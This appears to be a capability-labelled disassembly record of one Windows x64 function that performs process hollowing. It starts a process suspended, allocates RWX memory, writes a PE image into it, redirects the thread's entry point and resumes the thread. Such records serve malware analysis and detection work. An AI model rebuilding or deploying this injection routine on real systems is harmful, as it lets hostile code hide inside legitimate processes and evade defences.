Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1958
call fcn.1400095e0
sub rsp, rax
mov r14, r9
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x140386380]
xor rax, rsp
mov qword [rsp + 0x1950], rax
lea rdx, [rsp + 0x1740]
xor ecx, ecx
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000128b
mov r15, qword [rsp + 0x19c0]
lea r12, [rsp + 0x1740]
mov rcx, r12
call fcn.140036b60
mov r13, rax
lea rbp, [rax + rax]
lea rax, [rbp - 0x1208]
neg rax
cmp rbp, 0x1208
mov r8d, 0
cmovb r8, rax
lea rcx, [rsp + r13*2]
add rcx, 0x530
xor edx, edx
call fcn.1400665f0
lea rcx, [rsp + 0x530]
mov rdx, r12
mov r8, rbp
call fcn.140065f50
mov word [rsp + r13*2 + 0x530], 0x20
lea rcx, [rsp + r13*2]
add rcx, 0x532
mov rdx, r14
mov r8, r15
call fcn.140065f50
movsxd r14, dword [rdi + 0x3c]
mov ebp, 0xfffffffe
cmp dword [r14 + rdi], 0x4550
jne 0x1400012d4
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rdx, [rsp + 0x530]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001292
lea rbx, [rsp + 0x60]
mov r8d, 0x4d0
mov rcx, rbx
xor edx, edx
call fcn.1400665f0
mov dword [rsp + 0x90], 0x10000b
mov rcx, qword [rsi + 8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001299
mov r8d, dword [rdi + r14 + 0x50]
mov rdx, qword [rdi + r14 + 0x30]
mov rcx, qword [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400012a8
mov rbx, rax
mov r9d, dword [rdi + r14 + 0x54]
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012af
cmp word [rdi + r14 + 6], 0
je 0x140001222
lea r15, [rdi + 0x108]
xor r12d, r12d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop word cs:[rax + rax]
movsxd rax, dword [rdi + 0x3c]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add r8, rdi
add rdx, rbx
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
call r13
test eax, eax
je 0x1400012b6
inc r12
movzx eax, word [rdi + r14 + 6]
add r15, 0x28
cmp r12, rax
jb 0x1400011e0
mov rdx, qword [rsp + 0xe8]
add rdx, 0x10
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x58]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012bd
mov eax, dword [rdi + r14 + 0x28]
add rax, qword [rsp + 0x58]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400012c4
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ebp, ebp
test eax, eax
jne 0x1400012d4
mov ebp, 0xfffffff6
jmp 0x1400012c9
mov ebp, 0xffffffff
jmp 0x1400012d4
mov ebp, 0xfffffffd
jmp 0x1400012d4
mov rcx, qword [rsi]
mov ebp, 0xfffffffc
mov edx, 0xfffffffc
jmp 0x1400012ce
mov ebp, 0xfffffffb
jmp 0x1400012c9
mov ebp, 0xfffffffa
jmp 0x1400012c9
mov ebp, 0xfffffff9
jmp 0x1400012c9
mov ebp, 0xfffffff8
jmp 0x1400012c9
mov ebp, 0xfffffff7
mov rcx, qword [rsi]
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x1950]
xor rcx, rsp
call fcn.140009640
mov eax, ebp
add rsp, 0x1958
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret